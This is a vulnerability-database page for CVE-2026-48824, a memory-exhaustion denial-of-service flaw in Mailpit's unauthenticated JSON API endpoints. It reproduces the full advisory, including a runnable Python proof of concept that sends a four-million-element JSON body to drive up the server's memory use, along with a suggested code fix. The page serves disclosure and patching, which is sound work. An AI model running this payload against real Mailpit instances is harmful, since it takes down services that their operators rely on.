CVE-2026-48824

mediumpriority · track · 0EPSS 0.005 · 45 %ileDEEUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.54% (45th) EPSS
CVSS 5.3 · medium
Is it mine?
5 products
Check your exposure
Who says so?
5 sources
cnnvd · enisa_euvd · osv · cert_bund

EPSS · scored 2026-10-28

Mailpit is an email testing tool and API for developers. Prior to version 1.30.1, the fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, "Mailpit: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes") wrapped only `POST /api/v1/send` with `http.MaxBytesReader`. The four other Mailpit JSON-body API endpoints `PUT /api/v1/messages` (SetReadStatus), `DELETE /api/v1/messages` (DeleteMessages), `PUT /api/v1/tags` (SetMessageTags), and `POST /api/v1/message/{id}/release` (ReleaseMessage) still call `json.NewDecoder(r.Body)` directly with no body-size cap and remain reachable unauthenticated in the default `docker run axllent/mailpit:latest` deploy. An unauthenticated remote attacker can post a multi-million-element `IDs` slice and drive RSS from ~25 MiB baseline to ~450 MiB per 16 MB request body. Repeating across multiple connections accumulates the same per-request amplification per process. Version 1.30.1 contains a patch.

01

cvss

Technical severity, 0–10. One row per scoring source.

5.3
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.15.3mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Lsecondary · ENISA EU
v3.15.3mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Lsecondary · security-advisories@github.comexploitability 3.9 · impact 1.4
v3.15.3mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Lsecondary · OSV
v3.14.9mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: none · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (5)

Products and version ranges known to be affected.

05

advisories (3)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2026-1728MailPit: Schwachstelle ermöglicht Denial of ServiceDeutsch2026-05-28csaf · cert_bundDE

    Ein entfernter, anonymer Angreifer kann eine Schwachstelle in MailPit ausnutzen, um einen Denial of Service Angriff durchzuführen.

  • GHSA-28pq-6qxg-wg5rMailpit: Sibling-endpoint memory-exhaustion DoS via unbounded JSON body on /api/v1/messages, /api/v1/tags, and /api/v1/message/{id}/release (incomplete fix of GHSA-fpxj-m5q8-fphw)2026-07-01ghsa · osvUS

    ### Summary The fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, "Mailpit: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes") wrapped only `POST /api/v1/send` with `http.MaxBytesReader`. The four other Mailpit JSON-body API endpoints `PUT /api/v1/messages` (SetReadStatus), `DELETE /api/v1/messages` (DeleteMessages), `PUT /api/v1/tags` (SetMessageTags), and `POST /api/v1/message/{id}/release` (ReleaseMessage) still call `json.NewDecoder(r.Body)` directly with no body-size cap and remain reachable unauthenticated in the default `docker run axllent/mailpit:latest` deploy. An unauthenticated remote attacker can post a multi-million-element `IDs` slice and drive RSS from ~25 MiB baseline to ~450 MiB per 16 MB request body. Repeating across multiple connections accumulates the same per-request amplification per process. ### Affected versions - Mailpit at HEAD `67a7ca83ff759082d2b86dda07eb5bb3dad404e0` (v1.30.0, 2026-05-14). - All versions `<= v1.30.0` (the release that shipped the GHSA-fpxj fix). Versions `< v1.30.0` are vulnerable to the original GHSA-fpxj on `/api/v1/send`; version `v1.30.0` carries the sibling-endpoint gap described here. ### Privilege required None in default deploy (no `--ui-auth`, no `--smtp-auth`). The four endpoints share the same `middleWareFunc` wrapper as the original GHSA-fpxj target, so the same default-no-auth threat model applies. With `--ui-auth=user:pass` configured, the same primitive is post-auth — still useful since UI-auth Mailpit deployments commonly run on internal ops subnets where one stolen UI credential pivots into an RSS-exhaustion vector against the same host. ### The incomplete fix Commit `136bdde` ("Security: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes (GHSA-fpxj-m5q8-fphw)", 2026-05-12) added the `MaxBytesReader` wrap in exactly one place: ```go // server/apiv1/send.go:45-48 if config.MaxMessageSize > 0 { r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024) } decoder := json.NewDecoder(r.Body) ``` The sibling JSON-body handlers were not updated. Side-by-side at HEAD `67a7ca8`: | File | Function | `MaxBytesReader`? | Unauth in default deploy? | |---|---|---|---| | `server/apiv1/send.go:45-48` (`SendMessageHandler`) | POST `/api/v1/send` | YES (50 MB) | YES (via `sendAPIAuthMiddleware` falling back to `middleWareFunc`) | | `server/apiv1/messages.go:107` (`SetReadStatus`) | PUT `/api/v1/messages` | NO | YES | | `server/apiv1/messages.go:187` (`DeleteMessages`) | DELETE `/api/v1/messages` | NO | YES | | `server/apiv1/tags.go:54` (`SetMessageTags`) | PUT `/api/v1/tags` | NO | YES | | `server/apiv1/release.go:55` (`ReleaseMessage`) | POST `/api/v1/message/{id}/release` | NO | YES | The four sibling handlers all share the shape: ```go // server/apiv1/messages.go:107-115 (SetReadStatus) decoder := json.NewDecoder(r.Body) var data struct { Read bool IDs []string Search string } err := decoder.Decode(&data) ``` No `MaxBytesReader`, no body-size cap, no `r.Header.Get("Content-Length")` check. The `json.NewDecoder` streams the body but each `"x"` element materialises as a separate Go `string` plus slice-header overhead, so the unmarshalled `[]string` slice for `IDs` grows roughly linearly with attacker payload size. ### Vulnerable code `server/apiv1/messages.go:107`: ```go func SetReadStatus(w http.ResponseWriter, r *http.Request) { decoder := json.NewDecoder(r.Body) var data struct { Read bool IDs []string Search string } err := decoder.Decode(&data) if err != nil { httpError(w, err.Error()) return } // ... ``` Three other handlers (`DeleteMessages`, `SetMessageTags`, `ReleaseMessage`) match the same shape. ### Reachability chain (default deploy) ``` Listen() # config/config.go HTTPListen = "[::]:8025" ↓ HTTP server # server/server.go:177-186 ↓ middleWareFunc(apiv1.SetReadStatus) # server/server.go:178 — auth bypassed when UICredentials == nil ↓ SetReadStatus # server/apiv1/messages.go:87 ↓ json.NewDecoder(r.Body).Decode(&data) # no MaxBytesReader; allocates 4M Go strings + slice for {"IDs":["x",...]} ↓ RSS grows ~28x relative to payload size ``` `config/config.go`'s `MaxMessageSize` field (added by 136bdde) exists and is parsed from `--max-message-size` (default 50 MB), but it is checked only in `server/apiv1/send.go`. The four sibling handlers never consult it. ### Reproduction (E2E against `axllent/mailpit:latest` v1.30.0) ```bash # 1) start mailpit with defaults (no --ui-auth, no --smtp-auth) docker run --name mailpit-test -d -p 18025:8025 axllent/mailpit:latest # 2) baseline RSS docker stats mailpit-test --no-stream --format '{{.MemUsage}}' # → 8.473MiB / 5.772GiB # 3) trigger python3 - <<'PY' import socket N = 4_000_000 prefix = b'{"Read": true, "IDs": [' items = b'"x"' + (b',"x"' * (N - 1)) suffix = b']}' clen = len(prefix) + len(items) + len(suffix) s = socket.create_connection(("localhost", 18025), timeout=300) s.sendall( b"PUT /api/v1/messages HTTP/1.1\r\n" b"Host: localhost:18025\r\n" b"Content-Type: application/json\r\n" b"Content-Length: " + str(clen).encode() + b"\r\n" b"Connection: close\r\n\r\n") s.sendall(prefix) rem = items while rem: s.sendall(rem[:1024*1024]); rem = rem[1024*1024:] s.sendall(suffix) s.close() PY # 4) post-PoC RSS docker stats mailpit-test --no-stream --format '{{.MemUsage}}' # → 455.8MiB / 5.772GiB ``` Observed: a single 16 MB JSON body drove Mailpit RSS from 8.473 MiB to 455.8 MiB (+447 MiB, ~28× amplification). Memory is not freed between requests; repeating the PoC over multiple TCP connections sums per-process until the operator restarts the container or the host memory pressure regime terminates it. The same primitive reproduces on `DELETE /api/v1/messages`, `PUT /api/v1/tags`, and `POST /api/v1/message/{any-id}/release` with identical body shapes; each of the four endpoints individually reproduces the same amplification. ### Impact - **Pre-auth remote memory-exhaustion DoS.** Default-deploy Mailpit (the deployment shape the README documents for dev/CI use) is reachable unauthenticated on `[::]:8025`. A single TCP connection sending one ~100 MB JSON `IDs` body drives RSS to ~2.8 GB. Multiple concurrent connections compound the per-process RSS growth. Class-and-severity match the parent CVE-2026-45710. - **Disk amplification (secondary).** The `IDs` slice itself is not persisted to SQLite (unlike the parent GHSA-fpxj message-body path), so disk pressure is limited to whatever the handler does downstream. For `SetReadStatus`, the slice is iterated and an UPDATE is issued for each id; with 4M entries the per-call work is also linear in `len(ids)`. - **Same threat model as the parent.** The maintainer chose 50 MB as the default cap for `/api/v1/send` to bound the worst case there. Without the same cap on these sibling endpoints, the per-process worst-case is unbounded. ### Suggested fix Apply the same `MaxBytesReader` pattern already proven on `send.go` to every JSON-body handler. Concretely, wrap each of the four sibling sites: ```go // server/apiv1/messages.go:107 (SetReadStatus) if config.MaxMessageSize > 0 { r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024) } decoder := json.NewDecoder(r.Body) // server/apiv1/messages.go:187 (DeleteMessages) — same wrap // server/apiv1/tags.go:54 (SetMessageTags) — same wrap // server/apiv1/release.go:55 (ReleaseMessage) — same wrap ``` A cleaner shape is to factor the cap into the existing `middleWareFunc` wrapper in `server/server.go`, so every API handler that is not an upload-style endpoint inherits the cap by default. ### Credit Reported by tonghuaroot.

  • GO-2026-5868Mailpit: Sibling-endpoint memory-exhaustion DoS via unbounded JSON body on /api/v1/messages, /api/v1/tags, and /api/v1/message/{id}/release (incomplete fix of GHSA-fpxj-m5q8-fphw) in github.com/axllent/mailpit2026-07-07vendor · osvUS

    Mailpit: Sibling-endpoint memory-exhaustion DoS via unbounded JSON body on /api/v1/messages, /api/v1/tags, and /api/v1/message/{id}/release (incomplete fix of GHSA-fpxj-m5q8-fphw) in github.com/axllent/mailpit

06

also known as (5)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-07-20modified 2026-10-24
08

references (6)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan